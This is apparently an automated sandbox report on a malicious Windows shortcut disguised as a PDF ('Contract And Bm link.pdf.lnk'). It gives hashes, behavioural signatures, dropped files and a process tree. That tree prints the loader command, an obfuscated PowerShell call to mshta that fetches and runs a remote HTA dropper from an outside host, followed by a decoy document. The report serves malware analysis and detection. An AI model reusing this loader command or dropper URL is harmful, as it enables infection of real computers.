Windows 7 deprecation

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Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/08/2024, 16:14

General

  • Target

    Contract And Bm link.pdf.lnk

  • Size

    2KB

  • MD5

    5c101777fec7ff1e36a330c5f739901b

  • SHA1

    231ed0c3c869071786e5592422e36f079889c9d1

  • SHA256

    0cee6c7fbe37cb12a8c4416bc916aed3644ad5c09f02641477522a940bfb8d9e

  • SHA512

    b7482f65d7f859c782056caed992f8cadc01be45529ea2e8031e07e3c885f73911262fde1bec8a42cb41c36db5d8b378478133ffa8592661daa73f1e8bc8a70d

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://www.newupdatenew.com/LOCKSA/PDFGOOOOO.HTA

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Contract And Bm link.pdf.lnk"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* ' https://www.newupdatenew.com/LOCKSA/PDFGOOOOO.HTA '
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4160
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" " https://www.newupdatenew.com/LOCKSA/PDFGOOOOO.HTA "
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:712
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c start "" "https://docs.google.com/document/d/1F5RULhkoBF-7vdHlyYfHj3e_zEDMCP6lEzhIzBxJ77M/edit"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2524
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://docs.google.com/document/d/1F5RULhkoBF-7vdHlyYfHj3e_zEDMCP6lEzhIzBxJ77M/edit
            5⤵
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of WriteProcessMemory
            PID:4872
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff92ff946f8,0x7ff92ff94708,0x7ff92ff94718
              6⤵
                PID:1360
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,16597875943851901618,12626991780256921352,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2096 /prefetch:2
                6⤵
                  PID:1044
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,16597875943851901618,12626991780256921352,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 /prefetch:3
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2384
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,16597875943851901618,12626991780256921352,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2832 /prefetch:8
                  6⤵
                    PID:3476
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16597875943851901618,12626991780256921352,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
                    6⤵
                      PID:1856
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16597875943851901618,12626991780256921352,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
                      6⤵
                        PID:1732
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,16597875943851901618,12626991780256921352,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5448 /prefetch:8
                        6⤵
                          PID:1464
                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,16597875943851901618,12626991780256921352,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5448 /prefetch:8
                          6⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:2068
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16597875943851901618,12626991780256921352,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5164 /prefetch:1
                          6⤵
                            PID:1960
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16597875943851901618,12626991780256921352,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1
                            6⤵
                              PID:4568
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16597875943851901618,12626991780256921352,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5580 /prefetch:1
                              6⤵
                                PID:216
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,16597875943851901618,12626991780256921352,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5672 /prefetch:1
                                6⤵
                                  PID:3528
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,16597875943851901618,12626991780256921352,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1552 /prefetch:2
                                  6⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4136
                      • C:\Windows\System32\CompPkgSrv.exe
                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                        1⤵
                          PID:1496
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:4804
                          • C:\Windows\system32\werfault.exe
                            werfault.exe /h /shared Global\e429df47e6ec49d783de64fe11a3b1c0 /t 1268 /p 712
                            1⤵
                              PID:4008

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                              Filesize

                              152B

                              MD5

                              27304926d60324abe74d7a4b571c35ea

                              SHA1

                              78b8f92fcaf4a09eaa786bbe33fd1b0222ef29c1

                              SHA256

                              7039ad5c2b40f4d97c8c2269f4942be13436d739b2e1f8feb7a0c9f9fdb931de

                              SHA512

                              f5b6181d3f432238c7365f64fc8a373299e23ba8178bcc419471916ef8b23e909787c7c0617ab22e4eb90909c02bd7b84f1386fbc61e2bdb5a0eb474175da4bd

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                              Filesize

                              672B

                              MD5

                              034ed8f667d1b7cf6228139bbad79454

                              SHA1

                              0d643a4e39873e1648c2efe9b63fc69148a04f50

                              SHA256

                              a50484659dfc0210b586b5135a757019f17c423f8c9b6d0a8a8f3c8ed815a9f5

                              SHA512

                              e9691cf1a25ae3611f4f9213422d08bb24679b053bb5183b133d5aef3a3f9a8dc7f0d6c425a329db66bf5f01d57f16f59aaf701eba85d5b1802ce763b9fca2a1

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                              Filesize

                              3KB

                              MD5

                              9edf101babb66de6c4d4f3a7cbd10439

                              SHA1

                              b9d8993700b02999f92499cc57d9458e8b897cf1

                              SHA256

                              205c275895e960a13ee4f1699762ea2385e1b9e7fbadd1fdcb2da59633c0a5a1

                              SHA512

                              d9f73b6ae3b0fef6e7db6d9c13540f0909e8142ee3b36476675d6a21f8364c6be13a186e502995c2777c89c04c9b468596108e542aafb77e22ead2683fe051f7

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                              Filesize

                              3KB

                              MD5

                              fb231dcf0f8feb78a3593af1ec1b7f8f

                              SHA1

                              29687579bc80aa6c579f6ad15ccae1e0f2b73b0e

                              SHA256

                              00009d56f95eef34f29aab57e87cbc2c6bd601bfd95c958279a0238e89e51369

                              SHA512

                              4152f52455a2c2adaf1636d60f5ab9e288b9278cd9d323e8937c4940eaf6f2b549ebe8fda08638232e4ec847e05f7c1fb0978270caab2e05874bc4e94cda2da3

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                              Filesize

                              6KB

                              MD5

                              444d8e86f7990bccf87989c19d30ed2d

                              SHA1

                              9a53b01dca9773049f7c18340076c3cce4f32bc0

                              SHA256

                              171c5fdf47f429928b82bcfa9fde3bea698061a39995fe2967f0c749b58e8ff6

                              SHA512

                              1bdc8b4a167f454f876a5c7a3537e9b3bd0c269aee42f67a72dac9f6eb056c635a9cc7d0291d9ea4c16db89a2a07a1afe80a55b9ae58c02d9c5d3a689a9e8bbe

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                              Filesize

                              6KB

                              MD5

                              22dd3d6a5bca8741deff18f44d51f46c

                              SHA1

                              b49a8bc90802ecbb22a17746ed6df5806364d673

                              SHA256

                              ae5a126814a21d43ad0773610dde3e85adaf25a4701646222ca5d03975e67142

                              SHA512

                              1d3c5d6268646448e83582875cd136590dee2aa49a8b4574655a71b779a1c057f894377f2707ae843c63f7df94533f5aabe5683cbf8cfa67408fdae57351783f

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                              Filesize

                              16B

                              MD5

                              6752a1d65b201c13b62ea44016eb221f

                              SHA1

                              58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                              SHA256

                              0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                              SHA512

                              9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                              Filesize

                              10KB

                              MD5

                              97a4f1e65c44cd663536d38989b0ade7

                              SHA1

                              9fff668b56807214d8cdad795a4e3700b6f140d9

                              SHA256

                              a66a54c2557ba7b9ce61bcb028a6056ae3990bd0234cbb94faefc66eb988fd34

                              SHA512

                              570b7887039932f31e9307deee73303dcc937e735879cff15348bd3da2101c2cad22946ad803e1b6e746d9626272e929f1b11d598a952cea34477784095e6e02

                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jamm3qki.s3u.ps1

                              Filesize

                              60B

                              MD5

                              d17fe0a3f47be24a6453e9ef58c94641

                              SHA1

                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                              SHA256

                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                              SHA512

                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                            • memory/4160-16-0x00007FF920340000-0x00007FF920E01000-memory.dmp

                              Filesize

                              10.8MB

                            • memory/4160-2-0x00007FF920343000-0x00007FF920345000-memory.dmp

                              Filesize

                              8KB

                            • memory/4160-14-0x00007FF920340000-0x00007FF920E01000-memory.dmp

                              Filesize

                              10.8MB

                            • memory/4160-13-0x00007FF920340000-0x00007FF920E01000-memory.dmp

                              Filesize

                              10.8MB

                            • memory/4160-12-0x000001A039150000-0x000001A039172000-memory.dmp

                              Filesize

                              136KB